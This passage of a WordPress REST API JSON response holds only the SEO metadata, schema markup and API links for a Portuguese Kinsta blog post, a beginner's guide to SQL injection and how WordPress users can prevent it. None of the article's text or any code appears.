Daityari\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo estimado de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/\"},\"author\":{\"name\":\"Shaumik Daityari\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\"},\"headline\":\"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress\",\"datePublished\":\"2020-01-14T11:29:32+00:00\",\"dateModified\":\"2022-07-13T08:40:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/\"},\"wordCount\":2676,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#organization\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg\",\"keywords\":[\"sitesecurity\",\"wordpresshack\"],\"articleSection\":[\"Seguran\u00e7a WordPress\"],\"inLanguage\":\"pt-PT\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/\",\"url\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/\",\"name\":\"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg\",\"datePublished\":\"2020-01-14T11:29:32+00:00\",\"dateModified\":\"2022-07-13T08:40:32+00:00\",\"description\":\"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#breadcrumb\"},\"inLanguage\":\"pt-PT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-PT\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage\",\"url\":\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg\",\"width\":1460,\"height\":730,\"caption\":\"Inje\u00e7\u00e3o SQL\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.kinsta.site\/pt\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#website\",\"url\":\"https:\/\/staging.kinsta.site\/pt\/\",\"name\":\"Kinsta\",\"description\":\"Solu\u00e7\u00f5es de hospedagem Premium, r\u00e1pida e segura\",\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.kinsta.site\/pt\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pt-PT\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#organization\",\"name\":\"Kinsta\",\"url\":\"https:\/\/staging.kinsta.site\/pt\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-PT\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2018\/05\/kinsta.png\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2018\/05\/kinsta.png\",\"width\":580,\"height\":580,\"caption\":\"Kinsta\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/kinstapt\/\",\"https:\/\/x.com\/kinsta_pt\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\",\"name\":\"Shaumik Daityari\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-PT\",\"@id\":\"https:\/\/staging.kinsta.site\/pt\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"caption\":\"Shaumik Daityari\"},\"description\":\"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!\",\"url\":\"https:\/\/staging.kinsta.site\/pt\/blog\/author\/shaumikdaityari\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress","description":"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/","og_locale":"pt_PT","og_type":"article","og_title":"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress","og_description":"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.","og_url":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/","og_site_name":"Kinsta","article_publisher":"https:\/\/www.facebook.com\/kinstapt\/","article_published_time":"2020-01-14T11:29:32+00:00","article_modified_time":"2022-07-13T08:40:32+00:00","og_image":[{"width":1460,"height":730,"url":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg","type":"image\/jpeg"}],"author":"Shaumik Daityari","twitter_card":"summary_large_image","twitter_description":"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.","twitter_image":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg","twitter_creator":"@kinsta_pt","twitter_site":"@kinsta_pt","twitter_misc":{"Escrito por":"Shaumik Daityari","Tempo estimado de leitura":"12 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#article","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/"},"author":{"name":"Shaumik Daityari","@id":"https:\/\/staging.kinsta.site\/pt\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504"},"headline":"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress","datePublished":"2020-01-14T11:29:32+00:00","dateModified":"2022-07-13T08:40:32+00:00","mainEntityOfPage":{"@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/"},"wordCount":2676,"commentCount":0,"publisher":{"@id":"https:\/\/staging.kinsta.site\/pt\/#organization"},"image":{"@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg","keywords":["sitesecurity","wordpresshack"],"articleSection":["Seguran\u00e7a WordPress"],"inLanguage":"pt-PT","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/","url":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/","name":"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/pt\/#website"},"primaryImageOfPage":{"@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage"},"image":{"@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg","datePublished":"2020-01-14T11:29:32+00:00","dateModified":"2022-07-13T08:40:32+00:00","description":"Aprenda o que \u00e9 uma inje\u00e7\u00e3o de SQL, como a vulnerabilidade da inje\u00e7\u00e3o SQL pode existir em seus aplicativos web (como sites WordPress) e como evitar ataques.","breadcrumb":{"@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#breadcrumb"},"inLanguage":"pt-PT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/"]}]},{"@type":"ImageObject","inLanguage":"pt-PT","@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#primaryimage","url":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg","contentUrl":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2020\/01\/injecao-sql.jpg","width":1460,"height":730,"caption":"Inje\u00e7\u00e3o SQL"},{"@type":"BreadcrumbList","@id":"https:\/\/staging.kinsta.site\/pt\/blog\/injecao-sql\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.kinsta.site\/pt\/"},{"@type":"ListItem","position":2,"name":"Inje\u00e7\u00e3o de SQL: Um Guia para Principiantes para Usu\u00e1rios do WordPress"}]},{"@type":"WebSite","@id":"https:\/\/staging.kinsta.site\/pt\/#website","url":"https:\/\/staging.kinsta.site\/pt\/","name":"Kinsta","description":"Solu\u00e7\u00f5es de hospedagem Premium, r\u00e1pida e segura","publisher":{"@id":"https:\/\/staging.kinsta.site\/pt\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.kinsta.site\/pt\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pt-PT"},{"@type":"Organization","@id":"https:\/\/staging.kinsta.site\/pt\/#organization","name":"Kinsta","url":"https:\/\/staging.kinsta.site\/pt\/","logo":{"@type":"ImageObject","inLanguage":"pt-PT","@id":"https:\/\/staging.kinsta.site\/pt\/#\/schema\/logo\/image\/","url":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2018\/05\/kinsta.png","contentUrl":"https:\/\/staging.kinsta.site\/pt\/wp-content\/uploads\/sites\/3\/2018\/05\/kinsta.png","width":580,"height":580,"caption":"Kinsta"},"image":{"@id":"https:\/\/staging.kinsta.site\/pt\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/kinstapt\/","https:\/\/x.com\/kinsta_pt"]},{"@type":"Person","@id":"https:\/\/staging.kinsta.site\/pt\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504","name":"Shaumik Daityari","image":{"@type":"ImageObject","inLanguage":"pt-PT","@id":"https:\/\/staging.kinsta.site\/pt\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","caption":"Shaumik Daityari"},"description":"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!","url":"https:\/\/staging.kinsta.site\/pt\/blog\/author\/shaumikdaityari\/"}]}},"acf":[],"_links":{"self":[{"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/posts\/32958","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/comments?post=32958"}],"version-history":[{"count":8,"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/posts\/32958\/revisions"}],"predecessor-version":[{"id":51180,"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/posts\/32958\/revisions\/51180"}],"alternate":[{"embeddable":true,"hreflang":"en","title":"English","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/en"},{"embeddable":true,"hreflang":"fr","title":"French","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/fr"},{"embeddable":true,"hreflang":"es","title":"Spanish","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/es"},{"embeddable":true,"hreflang":"pt","title":"Portuguese","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/pt"},{"embeddable":true,"hreflang":"it","title":"Italian","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/it"},{"embeddable":true,"hreflang":"da","title":"Danish","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/dk"},{"embeddable":true,"hreflang":"nl","title":"Dutch","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/nl"},{"embeddable":true,"hreflang":"de","title":"German","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/de"},{"embeddable":true,"hreflang":"sv","title":"Swedish","href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/translations\/se"},{"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/kinsta\/v1\/posts\/32958\/tree"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/media\/32971"}],"wp:attachment":[{"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/media?parent=32958"}],"wp:term":[{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/tags?post=32958"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/staging.kinsta.site\/pt\/wp-json\/wp\/v2\/topic?post=32958"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}